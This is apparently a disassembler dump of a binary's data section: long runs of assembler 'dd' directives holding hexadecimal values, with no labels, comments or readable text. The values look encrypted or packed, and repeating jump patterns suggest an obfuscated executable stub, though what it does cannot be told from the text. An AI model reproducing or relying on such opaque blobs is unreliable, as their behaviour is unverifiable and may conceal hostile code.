		dd 3ACCB0ABh, 0DE979343h, 0AA903A18h, 63883247h, 0A3CCA747h
		dd 129FF043h, 0EB41BCBFh, 12CCB343h, 874F60C8h,	1825AD9Eh
		dd 0E848BC43h, 2DCCB343h, 0A024E343h, 0F1CCB343h, 6194701Bh
		dd 0F5C89707h, 2DC89707h, 5DCCB343h, 0A9237013h, 904C0009h
		dd 0A2D45AB7h, 0D1A6B343h, 0E8CF5B11h, 2EECB343h, 6E45E980h
		dd 594DB767h, 8ED4B767h, 158EB343h, 0CF867580h,	0DF24362Ch
		dd 0EACCB343h, 0C07EF222h, 0CFAC808h, 19591878h, 8B47BCFBh
		dd 0FCCCB343h, 0E31F4852h, 6C713019h, 0E9C95A42h, 7445364Ch
		dd 3AA6B343h, 1DCF5B16h, 0D3ECB343h, 2B45EE80h,	0E74DB767h
		dd 0D1D6B767h, 0BD89B343h, 4F23D880h, 8F564DB1h, 70480B23h
		dd 0FAAF60Ch, 26928BA5h, 6F063225h, 0E7BBC69h, 0BBCCD91Eh
		dd 74CCB0ABh, 0F9979343h, 39903A18h, 0AA883247h, 47CCAB47h
		dd 609FF043h, 0EB10E051h, 0CB3E3213h, 0F495A698h, 0B10F3F81h
		dd 1DA85A94h, 8EA6B343h, 47CF5B14h, 0FCECB343h,	0AD45EC80h
		dd 0AC4DB767h, 74DAB767h, 6D8BB343h, 0AD641680h, 0D31B3825h
		dd 0AF9AB329h, 0A3CCB340h, 8F0FED63h, 0ECE8C7CAh, 70E8F7C2h
		dd 3ACCB356h, 3B0FE505h, 5C7BBC14h, 10CCD98Ch, 0A3CCB0ABh
		dd 12939343h, 0CCB03A1Ch, 50883247h, 3ACCA547h,	0DE9BF443h
		dd 81DC7C4Dh, 0FA416AFCh, 0A6223D35h, 42413ECEh, 0F574B6ADh
		dd 47B7891Fh, 0D3DEA2C6h, 0A039846h, 0E5EC83DFh, 2083F141h
		dd 0ECE3F22h, 0B6AD8CB4h, 0B43776F7h, 7A9248FCh, 0E983488Bh
		dd 83A4F305h, 0EE8E17BDh, 0D740005h, 4E6D8D8Dh,	1B805E9h
		dd 0FF000000h, 41B640E1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 19C35545h, 0DDA422A9h, 0BA66B3F3h, 0F522A92h
		dd 280h, 5AD2B600h, 0F2DE883h, 589h, 0CA816600h, 0DF8B45F7h
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 709718C3h, 66DAB70Fh, 0BD83D88Bh,	5E9164Dh
		dd 83097500h, 0E91121BDh, 19740005h, 0C08B5350h, 3FCB8h
		dd 0AD858900h, 8D05E905h, 0EBB92B9Dh, 5BD3FF05h, 21BD8358h
		dd 5E911h, 53501774h, 3FCB8h, 0AD858900h, 8D05E905h, 0EBB5CC9Dh
		dd 5BD3FF05h, 81DC8A58h, 4334FCF3h, 88CF803Ch, 2DEBC08Bh
		dd 0
		dd 0BFAE0DD0h, 0DFF2319Ch, 0A7A5ADF9h, 75528C88h, 0BE00B7FBh
		dd 0E5ADF99Ch, 9D89937Eh, 26816800h, 0B2BD1467h, 0C18F2E03h
		dd 0B01E974h, 0A2680000h, 0E905EE95h, 0FFFAEB37h, 0EE972968h
		dd 0EB2DE905h, 6468FFFAh, 0E905EE98h, 0FFFAEB23h, 0EE991568h
		dd 0EB19E905h, 0D768FFFAh, 0E905EE99h, 0FFFAEB0Fh, 0EE9AC568h
		dd 0EB05E905h, 7668FFFAh, 0E905EE9Bh, 0FFFAEAFBh, 0EE9D3C68h
		dd 0EAF1E905h, 4568FFFAh, 0E905EE9Eh, 0FFFAEAE7h, 2F4C73B3h
		dd 0C1DE0D49h, 526F9EDBh, 0E1FE316Ch, 7592BDFBh, 0B497171h
		dd 9CDDC3E0h, 33725875h, 0CB05EB08h, 0CDAE7B98h, 278F5F1Fh
		dd 28065F13h, 4A7176Fh,	32A6F056h, 25C83E1Ch, 0B1DF0E4Bh
		dd 0FC1D4AE7h, 89B7E622h, 23C22BFh, 3E6C97D5h, 0FF51274h
		dd 5D74A2D5h, 44F29505h, 19DC3285h, 0B689480Dh,	896FEB64h
		dd 70AA8427h, 0A8D60943h, 795F7CDEh, 8F690C3Fh,	0CF872453h
		dd 4DF060B8h, 32D5129Fh, 6D9E141Ch, 698B9FD4h, 7B4703FBh
		dd 20000009h, 0B69CB9E0h, 482E4B7Ah, 0D9BFDC0Bh, 684E6B9Eh
		dd 0DEE2FF2Ah, 4570AE04h, 0DA014228h, 6D98D7BDh, 0FD306A50h
		dd 843213E0h, 13278FC2h, 0C29573CCh, 63275588h,	0ACD9F629h
		dd 0C6893D2h, 0CA03A0CFh, 5313C172h, 5B16C91Ah,	1B7DB0EBh
		dd 0EF6816B9h, 241C3223h, 2E671FF5h, 0DAAFEF2h,	80C6742Bh
		dd 0E132020h, 0B9933698h, 0B4F55178h, 0A038F08Dh, 132020A2h
		dd 4977A2E0h, 0EA184B85h, 4F8EE0D1h, 50CC65AEh,	9B029CD9h
		dd 8E27BFAh, 0A872A0C7h, 7D642C0Bh, 3E7C4526h, 43000000h
		dd 0CDFB2E69h, 7B386603h, 0FD3966A1h, 743E6CCEh, 0D6469ED7h
		dd 299C8533h, 33EA1C32h, 200BC185h, 0F557CD13h,	0B132FC7h
		dd 0C3641320h, 0C657F9B2h, 0FE494526h, 10000000h, 2ECBFA36h
		dd 0D64C7B00h, 0D11437EAh, 397359F6h, 0ACCDD806h, 0C948B8FEh
		dd 33D04616h, 0F5A30F4Dh, 16C948B1h, 3765C73Dh,	0D8063973h
		dd 86B9F3CDh, 3DEB8E58h, 16C94879h, 8C720F85h, 48021F52h
		dd 16C945BFh, 729FDAB4h, 76A40635h, 0EF290FACh,	0FE3F19BCh
		dd 66933AD7h, 0F9394237h, 8623BF75h, 53366A0h, 832696EEh
		dd 9D406BA9h, 0C963AFEFh, 1CB92F16h, 8E8841EFh,	9CE1C31h
		dd 0EF614802h, 0E2B8D9Dh, 6A0D7DD5h, 0C689BABCh, 0AB4EC419h
		dd 0FBBB698Ah, 316CBB9h, 0C6F5318Dh, 4B31CE98h,	0DFC5E20Dh
		dd 0B24576A1h, 1D6F72C0h, 7F46925h, 59990000h, 0F32F1532h
		dd 84C1A7C4h, 17523855h, 0A3E1C7E4h, 8B575B78h,	0A9C6F12Fh
		dd 3E5B82C3h, 0D1EE1958h, 617EB1EBh, 4105B394h,	4D13278Dh
		dd 0A17B16F4h, 9BD93564h, 0DB784270h, 9D4BB7F5h, 16C91AD9h
		dd 0F00D6FE5h, 809DD00Ah, 58176F52h, 0BDFA19A8h, 0E596608Eh
		dd 0B2ED8F81h, 2587517Fh, 717220C3h, 951C3241h,	6959F11Fh
		dd 99132063h, 3D012F5Ah, 0B7A7D5FCh, 1A811D58h,	0C5895281h
		dd 0B350E978h, 1794E116h, 45263149h, 0EE67h, 88C22D00h
		dd 5283B255h, 0D0C1A140h, 0D3B66A5h, 8C44E143h,	0BC5F8AC8h
		dd 4775A8E2h, 1D28E07Dh, 0A7E10243h, 0BB751274h, 16C94942h
		dd 0E5214E88h, 8AC488B6h, 0FD5F2957h, 5E987E9Bh, 0B967882Bh
		dd 16C947F5h, 2EE683F9h, 0AC4FBF17h, 31AA4DFEh,	0F613891Ch
		dd 52F565BDh, 41EF1031h, 1320647Dh, 9BDB0B81h, 23132064h
		dd 0E35610ADh, 2719C6FBh, 0F5340EB1h, 0D19BDB89h, 0AD2316CBh
		dd 0B6531D4Bh, 4F8E6889h, 6087C824h, 749FDDC3h,	14FB2A57h
		dd 3AA637F9h, 0A3E1C764h, 64C58937h, 53C916CBh,	0E4DBC0F1h
		dd 0A0986F72h, 6B9E4h, 0F71E5E00h, 89B8F4DAh, 1A49866Ch
		dd 0A9DC17FDh, 3D68A68Ch, 0ECC61C20h, 806683AEh, 15FB183Fh
		dd 0A88EABD6h, 511E3B6Eh, 82FCC270h, 0A9021327h, 0AC4C7BCBh
		dd 8BE581F9h, 0C200E683h, 5A947A97h, 7BDC0A27h,	0A3863A1h
		dd 83BDA340h, 1A1D610Fh, 2BA116C9h, 9DD79BC9h, 0AF934D6Ah
		dd 8C16C91Ah, 1AF9BD6Bh, 8F0516C9h, 0F161B9F2h,	0A35744Eh
		dd 6323D1DCh, 6B16C91Ah, 0C9F693F5h, 32A6C11Bh,	0B053C91Ch
		dd 4C699CD6h, 0CBF92C66h, 7DA8E6C0h, 0AFE8854Fh, 9644E757h
		dd 19DC8251h, 0B6F8A65Dh, 3816CE8Ah, 302F60C2h,	1F6F6DD3h
		dd 6086B27h, 6DAD0000h,	7432946h, 98D5BBD8h, 2B664C69h
		dd 0B7F5DBF8h, 776B6F8Ch, 0B5D2FD3Bh, 4A678ECFh, 0DDFA2564h
		dd 6D8ABDF7h, 4D11BFA0h, 51132783h, 88C21AF8h, 29632755h
		dd 79D8C8F6h, 0EC6EA8FCh, 91DFF34Eh, 7A28CBB1h,	16C91834h
		dd 3FE244BAh, 48F92865h, 39146839h, 973EDBB1h, 0CF25E8B8h
		dd 70840h, 0CACE0000h, 17Ch, 1AD4EE0Ah,	0DE716C9h, 6772A0D3h
		dd 0C91AF5B9h, 2183F916h, 83F34B84h, 0A6E332E0h, 71E71C32h
		dd 87BAF4CEh, 28633D6Ah, 8DAEC7F5h, 882A1C88h, 5EB88EAh
		dd 536A98CBh, 0C7E88BFBh, 0E481B0EDh, 0DC93E52Ah, 3879E919h
		dd 0B719E311h, 6DE19586h, 0C6827A6Fh, 546h, 6784ABEBh
		dd 0F9164581h, 8AA7D613h, 193669A4h, 0ADCAF533h, 438139A9h
		dd 0D415FB18h, 6BAA90ADh, 33D2340h, 5E6B3D0h, 27831757h
		dd 603E9713h, 275588C2h, 0C8F62963h, 6E9CC304h,	4EFC70AAh
		dd 16C91A08h, 90BE2096h, 0F2ACC918h, 0FB39136Ah, 77FE33D0h
		dd 0A3C0F32Dh, 0CFD71CC4h, 0EF2E0840h, 2FCC96C4h, 70Eh
		dd 0B5CAD400h, 0A000000h, 4A7176Fh, 7FD088D5h, 0A9465654h
		dd 172C5B7Ch, 0A3CA0B85h, 1BC17DF2h, 0D162C47Eh, 32611C32h
		dd 1B8E493Fh, 4224C128h, 0F499DD8Bh, 0AF251327h, 0AF89AA4Dh
		dd 4A144275h, 5A8DC7ADh, 0EA1D573Dh, 0DD4DA5BCh, 484D8C3Ah
		dd 0DF5519DCh, 0F528623Ch, 0DC8AABD8h, 16C9609Ah, 5D0BAE24h
		dd 16C96019h, 0AC922FA5h, 0FA113F72h, 0E18F32A2h, 1C326650h
		dd 642F60D6h, 0EB698BECh, 45837F3h, 0BDFD0000h,	57937996h
		dd 0E8250B28h, 7BB69CB9h, 7452B48h, 27BBBFDCh, 5224D8Bh
		dd 9AB7DE1Fh, 2D4A75B4h, 0BDDA0D47h, 1D610FF0h,	0A1132780h
		dd 3CA6A48h, 0A000001h,	4A7176Fh, 9BCE09E3h, 0A6E244FEh
		dd 0B62C1C32h, 0CCFF3913h, 5C8FC9AFh, 74A3DFB9h, 8E6323D1h
		dd 0F56B1327h, 0BB95A058h, 7CB5527Dh, 0E211B424h, 549AC68Bh
		dd 3A670498h, 0DC464D8Ch, 3CDF5519h, 6E296D1Bh,	3FB516C9h
		dd 619B75A2h, 0F12B112Eh, 3964A37Dh, 4D11410Bh,	5116C96Eh
		dd 404B79DBh, 61FE2566h, 0BD60D028h, 3268820Fh,	0FD2EA41Ch
		dd 698BEA20h, 0A77B372Fh, 4C000003h, 0E2C8E50Ch, 745A77A6h
		dd 5EB0837h, 947A97CAh,	0A0E2B56h, 79A4E2D8h, 0E35765Ch
		dd 0A1CC0BF1h, 31649E84h, 0B8664714h, 132781F6h, 0C2C19FF8h
		dd 63275588h, 0E3DBA729h, 4878472h, 258474A2h, 0E71A5450h
		dd 2725EBCAh, 552F40CFh, 294AE71Ah, 32h, 0A7176FEFh, 5C395604h
		dd 0F851C32h, 0D755926Ch, 22AD9D3h, 0D041F21Eh,	0B1A61FF6h
		dd 3BF51274h, 13207506h, 0F20F427Ch, 72A0CF0Ch,	321B6h
		dd 0A17BF600h, 3D073564h, 507BBAA0h, 0F1245E22h, 639744Eh
		dd 6695C269h, 0B2B50764h, 0D5BB5898h, 0EBC5689Bh, 8A5482ADh
		dd 377135EDh, 56AEE704h, 189543E6h, 261C3271h, 567782B0h
		dd 205EE6A8h, 8428F13h,	440156A9h, 1FD976ECh, 1320D523h
		dd 0E9C2B354h, 45261C27h, 4739h, 176FFF00h, 0EE2A04A7h
		dd 2F5D84C5h, 0BD50365h, 4620416Eh, 833DDA09h, 1C32299Eh
		dd 0AC4472E8h, 13200B96h, 5684ABECh, 0F7255892h, 0C5D99C13h
		dd 0F6A4C55Eh, 13200BB0h, 0F62BC83Eh, 0C6642C7Fh, 0E07C4526h
		dd 42000000h, 0B25588C2h, 1AA3E391h, 0B52B16C9h, 5E9C6018h
		dd 1A0244F2h, 1C8C16C9h, 0BA84B2DDh, 4707B558h,	4716C91Ah
		dd 0F2CC6FD1h, 33EB88B3h, 0E60D4E28h, 0F6296349h, 97CA04C8h
		dd 0EAA2C5F4h, 69C92B79h, 926B25CCh, 0D816C951h, 0EEC86B9Eh
		dd 40E784AFh, 0B4F3205Ah, 2F915B89h, 4477B28Ch,	80D8EFA7h
		dd 724C6D10h, 9FD20D36h, 49E6A03Dh, 951C3250h, 71C9021Fh
		dd 633D5E01h, 9E58F528h, 19C6D1B3h, 4DE81F7h, 0BF554CC6h
		dd 169F76B8h, 73B197B4h, 0CA401748h, 170F6F72h,	1E15Bh
		dd 1F468600h, 0B1E01C02h, 4271AE94h, 0D1043F25h, 6590CEB4h
		dd 149E4448h, 0A88EABD6h, 3D234067h, 0D0B6D3FEh, 79466396h
		dd 87A4EA98h, 0D12A1327h, 0DD4C7BF3h, 95E23099h, 0D917FD9Ah
		dd 71AB91AEh, 6FF3213Eh, 1CD45817h, 0E513427Eh,	1D4A6A1Bh
		dd 0C07B3BE9h, 0D8316C9h, 0F8A649ABh, 1C32F3EBh, 0E102A51Bh
		dd 20D17333h, 68057B13h, 0D12A18B0h, 0AC4D1320h, 1C3EE2C9h
		dd 0DC324526h, 0F8000000h, 3B0688C2h, 0C461920Ah, 848FBD1Fh
		dd 103E6DAAh, 85C3A946h, 0C8F62160h, 636E9CFEh,	0FC2B6842h
		dd 92D404CEh, 1C16C91Eh, 0DF0E4AA6h, 904AE7B1h,	16C91377h
		dd 294679B3h, 0A8D60943h, 26C93991h, 3212DF78h,	8CA91F1Ch
		dd 0E88BFB53h, 0B6F8A6C7h, 38132018h, 636B25C2h, 0A019C687h
		dd 286485C6h, 9F01CBF9h, 7AA2002h, 0AD7638E6h, 27816CBh
		dd 205E3865h, 0D1ABD8F5h, 0E3C96695h, 20497AA5h, 6F6F72ABh
		dd 0D8BB77h, 3D7D0000h,	0D713F916h, 68A58BA8h, 0FB361C39h
		dd 87C5ABC8h, 0A73B3F5Ch, 85A2CD0Bh, 1A375E9Fh,	0ADCAF534h
		dd 3D5A8DC7h, 9DE18F70h, 21132784h, 84C2EAC8h, 0E795B659h
		dd 16C91AA7h, 6FA86227h, 65CA3779h, 0D9BF6603h,	44981D9Fh
		dd 8D54EFEFh, 0C2E00E2Bh, 1C275588h, 3DDA0142h,	0CDEA1D57h
		dd 29CC3C94h, 32A6D37Bh, 77A51B1Ch, 294679B3h, 33D60943h
		dd 120CC304h, 0D26F70D1h, 9C81821Ah, 94B7E21Ah,	5689C3E1h
		dd 0E6195339h, 86B9F4B8h, 2A559458h, 0CDFC38FCh, 3144BB9Fh
		dd 6426E51Eh, 6CCE7CAEh, 0A8FC79F0h, 69983B6Eh,	33D3F974h
		dd 0DB451DFh, 8CBAED27h, 1DD0h,	42E21100h, 51E3D380h, 0A1D604A1h
		dd 21651334h, 0AD16C91Ah, 0D9A8637h, 6FC12DF3h,	82C2A4D2h
		dd 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h, 16541846h,	0BBF9BDEBh
		dd 639E6290h, 13E0230h,	0A4E0A4D2h, 68864775h, 307Bh, 89241489h
		dd 4C281E2h, 83000000h,	148704EAh, 89575C24h, 4C781E7h
		dd 83000000h, 3C8704EFh, 2C895C24h, 2A3A6824h, 34890000h
		dd 0B9515224h, 5EE950Fh, 8959CA89h, 8B545AD5h, 0C4832434h
		dd 4EC8104h, 89000000h,	0EF89243Ch, 5F087E89h, 5E2434FFh
		dd 4C481h, 34FF0000h, 0C4815D24h, 4, 0FAE046E9h, 2C31A9FFh
		dd 0B897A994h, 5EE9F42h, 0E0FFC503h, 3AE60ACCh,	4088598h
		dd 13902A2Bh, 5DB9842h,	315C2D92h, 7D744BE4h, 9710164h
		dd 0C7831D4h, 4FA20D38h, 1D025CBDh, 2759A3F3h, 890A193h
		dd 15CE9h, 481D3B00h, 5049C1F0h, 425AB196h, 49543B0Ah
		dd 4A54F853h, 415A930Ah, 6A739F53h, 38268E3Ah, 18272353h
		dd 0AC7B79C4h, 7FB49D60h, 0E168752h, 0E179753h,	0E16DF53h
		dd 0E16EB53h, 0E16F753h, 0E16FB53h, 0E16D253h, 0E16FE53h
		dd 0E167753h, 0E16BF53h, 7D6F8C53h, 0E7B8A27h, 6164A773h
		dd 7D659E30h, 0E16FD0Eh, 0E16FE53h, 0E167F53h, 0E16BF53h
		dd 0E16DF53h, 0E16EF53h, 0E16F753h, 0E16FB53h, 0E16FD53h
		dd 0E16FE53h, 0E167F53h, 0E16BF53h, 0E16DF53h, 0E16EF53h
		dd 0E16F753h, 0E16FB53h, 0E16FD53h, 0E16FE53h, 0E167F53h
		dd 0E16BF53h, 0E16DF53h, 0E16EF53h, 0E16F753h, 0E16FB53h
		dd 0E16FD53h, 0E16FE53h, 0E167F53h, 0E16BF53h, 0E16DF53h
		dd 0E16EF53h, 0E16F753h, 0E16FB53h, 0E16FD53h, 0E16FE53h
		dd 0E167F53h, 0E16BF53h, 0E16DF53h, 0E16EF53h, 0E16F753h
		dd 0E16FB53h, 0E16FD53h, 0E16FE53h, 0E167F53h, 0E16BF53h
		dd 0E16DF53h, 0E16EF53h, 0E16F753h, 0E16FB53h, 0E16FD53h
		dd 0E16FE53h, 0E167F53h, 0E16BF53h, 0E16DF53h, 0E16EF53h
		dd 0E16F753h, 0E16FB53h, 0E16FD53h, 0E16FE53h, 0E167F53h
		dd 0E16BF53h, 0E16DF53h, 35CEA353h, 1725E92Eh, 4F680000h
		dd 0E905EEA3h, 0FFFBA8C5h, 0EEA46D68h, 0A8BBE905h, 8168FFFBh
		dd 0E905EEA5h, 0FFFBA8B1h, 0EEA67668h, 0A8A7E905h, 0A868FFFBh
		dd 0E905EEA7h, 0FFFBA89Dh, 0EEA90868h, 0A893E905h, 0D468FFFBh
		dd 0E905EEA9h, 0FFFBA889h, 0EEAAA268h, 0A87FE905h, 0BA68FFFBh
		dd 0E905EEACh, 0FFFBA875h, 0EEAD8068h, 0A86BE905h, 6968FFFBh
		dd 0E905EEAEh, 0FFFBA861h, 0EEAF2968h, 0A857E905h, 5468FFFBh
		dd 0E905EEB0h, 0FFFBA84Dh, 0EEB60D68h, 0A843E905h, 968FFFBh
		dd 0E905EEB7h, 0FFFBA839h, 1EEDAE0Eh, 0EFBE75DBh, 0C39249ACh
		dd 905F1C80h, 6231E84Dh, 9D02E79Dh, 73D417E6h, 3FA6E9B8h
		dd 1476B988h, 9EFF8453h, 50563BA3h, 493E64D8h, 23E097F9h
		dd 0BAA15ABCh, 0FE7C8E83h, 0DEBCE0B3h, 70CB028Bh, 52C5F807h
		dd 68269472h, 0CC63FCF2h, 41A69AFAh, 67C96A8Ah,	0ED0DF3B0h
		dd 50DA0B06h, 9883E3A8h, 0AE086580h, 0EEABCB7Bh, 574C339Fh
		dd 0C1F9CD8h, 6513F1AAh, 7895B614h, 0EB22D88Ch,	8C12E48Ah
		dd 14C3A178h, 4Bh, 0C7EFEA43h, 0F8D8575Dh, 51E258EAh, 0ABF1FE36h
		dd 0DEB094CDh, 0C7843FA4h, 96621CE1h, 67FF46AAh, 58656047h
		dd 9E3A846h, 465906C3h,	3E4B29E2h, 0D857A890h, 6987BE3Bh
		dd 4FB85F3Fh, 0B8F9A785h, 8BAA014Ah, 0C772D8h, 0F9D30000h
		dd 0BC23E097h, 0A2B59C57h, 0E7CD8A41h, 0FF61C809h, 0EDAA61C7h
		dd 0C32AE707h, 0CEAD0561h, 2C000123h, 0B26F2A8Bh, 0B2DDACCCh
		dd 0DDBE28F3h, 26F5B618h, 0DCA81E3h, 0E09215Dh,	0DDBE20A4h
		dd 826989CFh, 0A8CD9287h, 43A6B9E3h, 3E1C784h, 0D15D2C72h
		dd 0AA61C3BDh, 252007EDh, 0D8570DBDh, 9980A0E6h, 4355F49Eh
		dd 50B2C5E6h, 0D3F3B416h, 0C1523016h, 27B063D6h, 9EBE5193h
		dd 843FA4B7h, 560D72B5h, 0DD8E9563h, 64D497CBh,	1495h
		dd 0C2914AAAh, 9362197Fh, 5F2EED50h, 2CFBB81Ch,	0FECD84E9h
		dd 399E4B39h, 0F70B382h, 0D33A7D4Ch, 0A80A4D1Ch, 3A9B20EFh
		dd 5054973Fh, 0E5DA00D8h, 0EDD94F9h, 0E3B269CBh, 25DEB08Ch
		dd 918CE53Eh, 0DDBEF729h, 929F58BEh, 8FAF6ACBh,	81FA4B1h
		dd 248E3A8h, 0E7A4081Bh, 5579C809h, 76D857E6h, 1F83E6F9h
		dd 0F65F1039h, 452343E1h, 63E8DA97h, 10D88C56h,	0E2h, 5F97F971h
		dd 9B813EFDh, 0F257BE7Bh, 0BACD7A37h, 0F9DF9C53h, 0FB5F0E1Bh
		dd 1274DDBEh, 1E197259h, 0DDBEF2B4h, 68BB99DFh,	5461A8DFh
		dd 0F5B269CDh, 0C26E4A0Fh, 2A8CB18Fh, 14778A71h, 96B66DD4h
		dd 0D415F3D9h, 0F6AD1427h, 7755339h, 9C977E77h,	0E3A80EFFh
		dd 447B62A8h, 0FAE3EC6Bh, 0B770D6B5h, 0DA66B997h, 0AC63CAA4h
		dd 2E909EFh, 43CA0C07h,	0C62C3FE6h, 0AEEA480Dh,	6D2AC062h
		dd 0D237FE8Fh, 77CF5A17h, 0CC73FD00h, 0C915DAFAh, 0BAD43FD5h
		dd 0C7DAC1E1h, 95D8A762h, 64867930h, 0B0CBDD11h, 13777DEDh
		dd 2C8C0000h, 0F75DA06Fh, 0CB2E7140h, 96FA3D0Ch, 66CB0EDDh
		dd 6D17DCABh, 8D5C177Ch
		dd 6332E94Ah, 3302B920h, 0FECD8EF0h, 0B51D1879h, 0DED85053h
		dd 94F9C3B8h, 1C3CF75Ch, 0EFA80A4Dh, 97F9C920h,	1D7623E0h
		dd 0F7E1C9C4h, 448ADDBEh, 0BEF613BBh, 4F367CDDh, 0BEF66A54h
		dd 0F1CF15DDh, 0EFEA6ACCh, 0DDBEF6C7h, 0CE85E9B0h, 36BF8EAEh
		dd 0F6F8E2DDh, 0DCA3DDBEh, 1F05C279h, 99FC21FFh, 5CBE25E2h
		dd 5CFDB61Ah, 532242F9h, 572741CBh, 0A863C4D7h,	0BEF6B71Fh
		dd 0A30B06DDh, 0CCDDBEF6h, 13337986h, 468312Ch,	0CB11E3A8h
		dd 38E0CD00h, 0DAB4D0A0h, 0A474229h, 9B1EDB54h,	0FCB972D4h
		dd 8C39F616h, 58F05C55h, 937136F5h, 0F8D59A2Dh,	96A1907Bh
		dd 0C82F0CEh, 0F932714Eh, 8FAF978Eh, 0D83C4FA8h, 11303D1Bh
		dd 0ACE0F74Ah, 0C12E075h, 8227ECA7h, 40D1AF4Dh,	0F88E3833h
		dd 365D4F6h, 94A18744h,	34472E4Eh, 74A19D2h, 39F3E6A5h
		dd 13C94002h, 1263E050h, 18780000h, 0DB418453h,	0AF125524h
		dd 82E629F8h, 52B7FAC9h, 8103C897h, 79480368h, 4716D536h
		dd 17E69D04h, 0EAB972D4h, 0A1090465h, 0CAD85052h, 97F9AFA4h
		dd 7B76FC5Fh, 0DDBEF753h, 0B6D6F63Ch, 0E0F34CF9h, 9139C279h
		dd 0FADDBEF7h, 1668D6B4h, 8542F95Ch, 3F987F9Fh,	0BEF79A44h
		dd 0E1BF05DDh, 25727B76h, 0E841E3A8h, 57D9C5EDh, 8A68AED8h
		dd 0B9CCB3F9h, 9B00A158h, 5F3D23E0h, 2F67C90Ch,	6ED0DCCh
		dd 0D908B2ADh, 2D73D857h, 205E0E4Fh, 0F5EDE8CFh, 9EE644B9h
		dd 0FB5E7158h, 82410A97h, 2D4D8E20h, 6FD1E44Fh,	760E9B8h
		dd 4BD48FF4h, 0D669BE63h, 0C3E8C60Ch, 0B0C3AA61h, 99C78C4Fh
		dd 0CCEF0FFCh, 0CB7BBC9Ah, 605B42B3h, 0E87A1966h, 0F104EB31h
		dd 8009D88Fh, 7351086Dh, 6E2BEC4Eh, 482FC0BEh, 6E2A104Dh
		dd 887BC1F2h, 0D7A73672h, 6E6BDB9Eh, 83000011h,	56996823h
		dd 256837F0h, 0F13403C2h, 0C407D68Dh, 10D5A45Fh, 59107574h
		dd 23E6478Ah, 0F3AA1154h, 0C87FE124h, 181374F9h, 0D85051AEh
		dd 0F9BEB3D9h, 850EDD94h, 75A7ED4Eh, 0BC9AD293h, 0D8BF304Eh
		dd 0A80CC0DDh, 8E4B91E3h, 3706C527h, 1CD992F4h,	0FAE1126Ch
		dd 41332EFFh, 0F4B1F7E6h, 0DD16638Fh, 21D83B7Bh, 0A5621980h
		dd 44D09FBFh, 0D7D2B94Ah, 0E87A4CDAh, 2188458Bh, 964B08BFh
		dd 433B490Ah, 5F94CBB2h, 0A42DAF63h, 0D4CF3A18h, 0F21366DFh
		dd 0EA734288h, 0F1EC76D7h, 0CA1A75C9h, 8F4C6CB2h, 75FFE7E2h
		dd 62A8CA1Ah, 0DD3F6442h, 0E321E579h, 0F8183335h, 3C6EC3Bh
		dd 1200CA1Bh, 712A8C41h, 3EFD5FA2h, 44BDD181h, 1330265Dh
		dd 752BF878h, 1C312C97h, 85F40CCEh, 3BE8703Fh, 0B79E5727h
		dd 238D3ABCh, 541F65FEh, 30EDA409h, 0C24DFDE1h,	54B9CCFEh
		dd 1CFAE09Dh, 381FD0AEh, 0D12D9D3Dh, 0FEF906C0h, 0F4D5ADD4h
		dd 3251BA07h, 909D5C90h, 30432A4Ah, 6D5310CBh, 0AF11248Fh
		dd 84E629F8h, 3A9F06C3h, 7B448C7Fh, 0D598E963h,	103C65h
		dd 3AF15100h, 9C2286Bh,	0D594F73Ah, 0A45FC306h,	762D92D5h
		dd 47A2E2A7h, 155827E2h, 0E326F5B4h, 0B3F6C57Ch, 46CB9A51h
		dd 50C0EAE5h, 85ABD850h, 0DD94F990h, 0B72850Eh,	10B19754h
		dd 4D33F0ABh, 2FE84A6Fh, 0F2A90B72h, 0B16ACE35h, 0C62A8DF4h
		dd 0FEB06638h, 0ECBEB24h, 783C7DA9h, 468FCCBAh,	0E85423E4h
		dd 0D2A39863h, 17510h, 97F97100h, 5ABC23E0h, 7A83BAA1h
		dd 6D555097h, 16DDBECBh, 58E10BD0h, 0CF5BAE8Ch,	5A847FBFh
		dd 45DDBE5Dh, 785F3AFFh, 8CD161BBh, 598A856Ch, 2E3A80Eh
		dd 2B0FFBCh, 0E1D857EEh, 0A007C47Bh, 3FC3803Bh,	774C0051h
		dd 4308FAB7h, 30D88BD6h, 25h, 25DEB091h, 8BE433Eh, 0A1E7E3A8h
		dd 0E62995E4h, 0D292D857h, 0B2282381h, 7E91D88Bh, 0D483611Ah
		dd 0C7h, 0E097F935h, 9C57BC23h,	551678DFh, 18CF3198h, 0FB4F1E49h
		dd 2284DDBEh, 0A7C784E8h, 0FBF64FD8h, 0DDBEF2D3h, 0AB4AFBCh
		dd 75DDBEF2h, 0A6E0F2Fh, 0D0AE9451h, 0ECD32C62h, 0AAA89CF1h
		dd 3474ABE3h, 0A72E9490h, 4E942503h, 0C9DF3067h, 0E9C54C67h
		dd 288DA00Bh, 15778A71h, 930E9956h, 0EA0D17B9h,	0D72A0828h
		dd 0D0FAF54Eh, 0BBD855CEh, 0D729775h, 35C36356h, 0A265C5E3h
		dd 0EDC32h, 0DA91F100h,	0A962C80Bh, 753497DAh, 44FF63A6h
		dd 16CD3275h, 0E7028247h, 0B5F8C782h, 83C69554h, 5396651Ch
		dd 0E66B3AF1h, 5E208A85h, 254BD850h, 0DD94F930h, 0E72850Eh
		dd 0D4B29855h, 0BF8E4DAFh, 5BC2336h, 5EC16248h,	0F990C9A7h
		dd 0B41E1997h, 27DDBEF7h, 0D8F05DB8h, 32788587h, 95A85512h
		dd 71967433h, 5E71580Fh, 0E613FF8h, 0F5B269CBh,	0D1B84945h
		dd 0A7A831D6h, 0DDACF2E3h, 78F91h, 94F9F000h, 0EDD120DDh
		dd 0B9DDBEF7h, 80587C5h, 4FF2228Bh, 8011482Fh, 0CC72C16h
		dd 0A7ED8A47h, 7B635EC9h, 24E3ADFAh, 82E4F7DEh,	55B7FAC9h
		dd 7978AF96h, 59107564h, 13411E94h, 288DF435h, 18367E71h
		dd 0B376C5E7h, 0E1043h,	6C52500h, 0D58EF437h, 0A960C306h
		dd 783397DAh, 4A0166A9h, 1BCEB67Bh, 0E92CFBB6h,	0BF02D188h
		dd 8FD2A158h, 1A9F6E2Dh, 5E14BEB9h, 597FD850h, 0DD94F964h
		dd 0B269CB0Eh, 6B2C8EF5h, 63E147AEh, 0BEF77E68h, 0C3E329DDh
		dd 7D3C9F06h, 327F0BC0h, 8DCEBC7Ah, 635EE648h, 0DDBEF77Bh
		dd 0EFBEDE24h, 0A2A1C883h, 2CADD2h, 83DC0000h, 0BEFB5E88h
